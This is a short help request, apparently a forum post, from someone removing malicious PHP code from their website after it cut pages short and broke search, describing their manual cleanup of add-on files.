I need help and advice. I am in the process of removing the code. I've reuploaded all the files, but am going through and having to manually edit files of add-ons and stuff.

Basically this php code wiped out everything but the first few inches of a page. Everything below that was gone. Searches were not functional, etc. It's a big mess.
